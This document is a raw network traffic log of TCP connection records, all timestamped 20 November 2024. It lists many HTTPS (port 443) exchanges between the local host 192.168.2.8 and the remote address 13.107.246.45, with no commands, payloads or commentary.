Nov 20, 2024 03:21:52.832087994 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.832097054 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.310570002 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.311220884 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.311255932 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.316169024 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.316178083 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.373234034 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.416488886 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.416754961 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.417011976 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.425745964 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.433113098 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.449214935 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.449222088 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.451406002 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.451411009 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.451827049 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.451828003 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.451905012 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.451941013 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.457952976 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.457962990 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.458745956 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.458750963 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.462785959 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.462825060 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.463037014 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.463494062 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.463506937 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.466176033 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.466892004 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.466907024 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.467765093 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.467772007 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.470894098 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.471719027 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.471728086 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.472696066 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.472702026 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.548114061 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.548356056 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.548448086 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.553913116 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.554114103 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.554192066 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.554198980 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.554223061 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.554318905 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.569637060 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.569978952 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.570051908 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.573929071 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.574326038 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.574393034 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.592406034 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.592431068 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.592477083 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.592483044 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.607336998 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.607361078 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.607498884 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.607506037 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.633394957 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.633415937 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.633444071 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.633449078 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.644671917 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.644680023 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.644691944 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.644695997 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.743211031 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.743328094 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.743415117 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.743676901 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.743706942 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.744599104 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.744710922 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.744808912 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.744956970 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.744992018 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.745199919 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.745234966 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.745306015 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.745579958 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.745609045 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.745712996 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.745747089 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:53.745805979 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.746023893 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:53.746037006 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.126734972 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.127975941 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.127990961 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.128370047 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.128372908 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.229840994 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.230051994 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.230098963 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.230113029 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.230180025 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.230201960 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.230218887 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.230227947 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.230232000 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.233464956 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.233496904 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.233566046 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.233709097 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.233717918 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.386146069 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.386852980 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.386877060 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.387659073 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.387666941 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.387903929 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.388412952 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.388510942 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.388775110 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.388788939 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.395085096 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.395458937 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.395474911 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.396070004 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.396075964 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.418651104 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.419262886 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.419289112 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.419678926 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.419683933 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.488460064 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.488603115 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.488671064 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.488823891 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.488840103 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.488850117 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.488854885 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.491863966 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.491883039 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.492085934 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.492280960 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.492295027 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.494807005 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.494992971 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.495078087 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.495111942 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.495127916 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.495138884 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.495142937 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.497919083 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.497956038 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.498110056 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.498245955 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.498260021 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.508898973 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.509355068 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.509440899 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.509525061 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.509530067 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.509540081 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.509543896 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.511785984 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.511876106 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.511955976 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.512125969 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.512181997 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.523396969 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.523569107 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.523624897 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.523653984 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.523710012 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.523757935 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.523770094 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.523780107 CET	49938	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.523783922 CET	443	49938	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.526249886 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.526285887 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.526340961 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.526623964 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.526638031 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.898705006 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.900005102 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.900027037 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:54.900571108 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:54.900578976 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.126471996 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.127331972 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.127350092 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.127835035 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.127839088 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.140623093 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.141069889 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.141136885 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.141184092 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.141184092 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.141201019 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.141211033 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.143943071 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.144023895 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.144222021 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.144368887 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.144402981 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.166426897 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.167005062 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.167056084 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.167455912 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.167469025 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.173770905 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.174356937 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.174374104 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.174710035 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.174724102 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.182962894 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.183335066 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.183352947 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.183818102 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.183824062 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.227099895 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.227351904 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.227412939 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.227479935 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.227503061 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.227514982 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.227523088 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.230079889 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.230123997 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.230254889 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.230361938 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.230374098 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.266216993 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.266449928 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.266541958 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.266664028 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.266885996 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.266930103 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.266962051 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.266978979 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.272044897 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.272104025 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.272205114 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.272324085 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.272346020 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.275192976 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.275537014 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.275648117 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.275933981 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.275933981 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.275954962 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.275965929 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.277851105 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.277889967 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.278080940 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.278239965 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.278249979 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.284353018 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.284497976 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.286119938 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.286119938 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.286226034 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.286242008 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.288136005 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.288183928 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.288258076 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.288486004 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.288502932 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.792203903 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.792727947 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.792753935 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.793118000 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.793123960 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.892255068 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.892901897 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.892920017 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.893237114 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.893250942 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.893534899 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.893780947 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.893850088 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.893906116 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.893928051 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.893934965 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.893942118 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.896486998 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.896532059 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.896615028 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.896758080 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.896773100 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.916593075 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.916903019 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.916940928 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.917341948 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.917350054 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.947520018 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.947880030 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.947890997 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.948100090 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.948106050 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.951457024 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.951689005 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.951714993 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.951945066 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.951950073 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.996315002 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.996551037 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.996612072 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.996773005 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.996773005 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.996789932 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.996798992 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.999073029 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.999109983 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:55.999190092 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.999335051 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:55.999347925 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.015584946 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.015754938 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.015810966 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.015820026 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.015973091 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.015973091 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.017555952 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.017569065 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.017939091 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.017982006 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.018042088 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.018153906 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.018167019 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.047215939 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.047499895 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.047648907 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.047648907 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.047648907 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.049324989 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.049336910 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.049402952 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.049525023 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.049534082 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.056540012 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.056911945 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.056974888 CET	49949	443	192.168.2.8	13.107.246.45
